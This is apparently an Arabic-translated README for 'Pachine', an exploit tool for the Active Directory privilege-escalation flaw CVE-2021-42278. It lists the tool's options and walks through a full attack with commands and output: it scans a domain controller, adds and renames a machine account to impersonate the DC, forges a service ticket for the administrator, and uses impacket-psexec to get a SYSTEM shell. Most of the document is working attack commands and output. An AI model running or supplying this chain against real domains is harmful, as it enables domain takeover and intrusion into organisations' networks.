
تطبيق بايثون لـ CVE-2021-42278 (ترقية الامتيازات في Active Directory)
تطبيق Python لـ CVE-2021-42278 (تصعيد الامتيازات في Active Directory).
$ pip3 install impacket
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
[-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
[domain/]username[:password]
Pachine - CVE-2021-42278 Scanner & Exploit
positional arguments:
[domain/]username[:password]
الحساب المستخدم للمصادقة على DC.
optional arguments:
-h, --help عرض رسالة المساعدة والخروج
-scan مسح DC
-spn SPN SPN (خدمة/خادم) الخدمة المستهدفة التي سيتم إنشاء تذكرة الخدمة من أجلها
-impersonate IMPERSONATE
اسم المستخدم المستهدف الذي سيتم انتحال هويته (عبر S4U2Self) للاستعلام عن ST. ضع في اعتبارك أن هذا يعمل فقط إذا كان الهوية المقدمة في هذا السكريبت مسموحًا لها بالتفويض إلى SPN المحدد
-domain-netbios NETBIOSNAME
اسم NetBIOS للمجال. مطلوب إذا كان DC يحتوي على مجالات متعددة.
-computer-name NEW-COMPUTER-NAME$
اسم الكمبيوتر الجديد. إذا تم حذفه، سيتم استخدام DESKTOP-[A-Z0-9]{8} عشوائي.
-computer-pass password
كلمة المرور التي سيتم تعيينها للكمبيوتر. إذا تم حذفها، سيتم استخدام [A-Za-z0-9]{32} عشوائي.
-debug تشغيل إخراج DEBUG
-method {SAMR,LDAPS} طريقة إضافة الكمبيوتر. يعمل SAMR عبر SMB. لدى LDAPS بعض متطلبات الشهادة ولا تكون متاحة دائمًا.
-port {139,445,636} المنفذ الوجهة للاتصال. الإعداد الافتراضي لـ SAMR هو 445، ولـ LDAPS هو 636.
LDAP:
-baseDN DC=test,DC=local
تعيين baseDN لـ LDAP. إذا تم حذفه، سيتم استخدام جزء المجال (FQDN) المحدد في معلمة الحساب.
-computer-group CN=Computers,DC=test,DC=local
المجموعة التي سيتم إضافة الحساب إليها. إذا تم حذفها، سيتم استخدام CN=Computers.
authentication:
-hashes LMHASH:NTHASH
تجزئات NTLM، التنسيق هو LMHASH:NTHASH
-no-pass لا تطلب كلمة المرور (مفيدة لـ -k)
-k استخدام مصادقة Kerberos. يجلب بيانات الاعتماد من ملف ccache (KRB5CCNAME) بناءً على معلمات الحساب. إذا تعذر العثور على بيانات اعتماد صالحة، فسيستخدم تلك المحددة في سطر الأوامر
-aesKey hex key مفتاح AES لاستخدامه في مصادقة Kerberos (128 أو 256 بت)
-dc-host hostname اسم FQDN لوحدة التحكم بالمجال المستهدفة.
-dc-ip ip IP لوحدة التحكم بالمجال المراد استخدامها. مفيد إذا كنت لا تستطيع ترجمة FQDN المحدد في معلمة الحساب

لمسح وحدة تحكم بالمجال، استخدم الخيار -scan. قم بتوفير اسم المضيف لـ DC مع الخيار -dc-host.
إذا لم تتمكن من حل اسم المضيف، يمكنك أيضًا توفير IP لـ DC مع -dc-ip. يجب توفير -dc-host على الأقل.
$ python3 pachine.py -dc-host dc.predator.local -scan 'predator.local/john:Passw0rd!'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Domain controller dc.predator.local is most likely vulnerable
$ python3 pachine.py -dc-host dc.predator.local -spn cifs/dc.predator.local -impersonate administrator 'predator.local/john:Passw0rd!'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Added machine account dc with password qwx1TwIGRNcwsBptfDfyw9wubnVBSVij.
[*] Got TGT for [email protected]
[*] Changed machine account name from dc to DESKTOP-XS5FCF1Y$
[*] Requesting S4U2self
[*] Got TGS for [email protected] for [email protected]
[*] Changing sname from [email protected] to cifs/[email protected]
[*] Changed machine account name from DESKTOP-XS5FCF1Y$ to dc
[*] Saving ticket in [email protected]
$ # Set and verify the CCACHE
$ export KRB5CCNAME=$PWD/[email protected]
$ klist
Ticket cache: FILE:/opt/Pachine/[email protected]
Default principal: [email protected]
Valid starting Expires Service principal
12/13/2021 23:45:19 12/14/2021 09:45:19 cifs/[email protected]
renew until 12/14/2021 23:45:19
$ # Use Impacket's Psexec. This will work for 'cifs'
$ impacket-psexec -k -no-pass 'predator.local/[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on dc.predator.local.....
[*] Found writable share ADMIN$
[*] Uploading file GPZNUSse.exe
[*] Opening SVCManager on dc.predator.local.....
[*] Creating service FBle on dc.predator.local.....
[*] Starting service FBle.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.288]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Pachine (PAC + Machine) هو تطبيق استغلال بلغة Python لـ CVE-2021-42278. أوصي بشدة بقراءة منشور المدونة الرائع لـ Charlie Clark (@exploitph) هنا للحصول على التفاصيل الفنية حول CVE-2021-42278.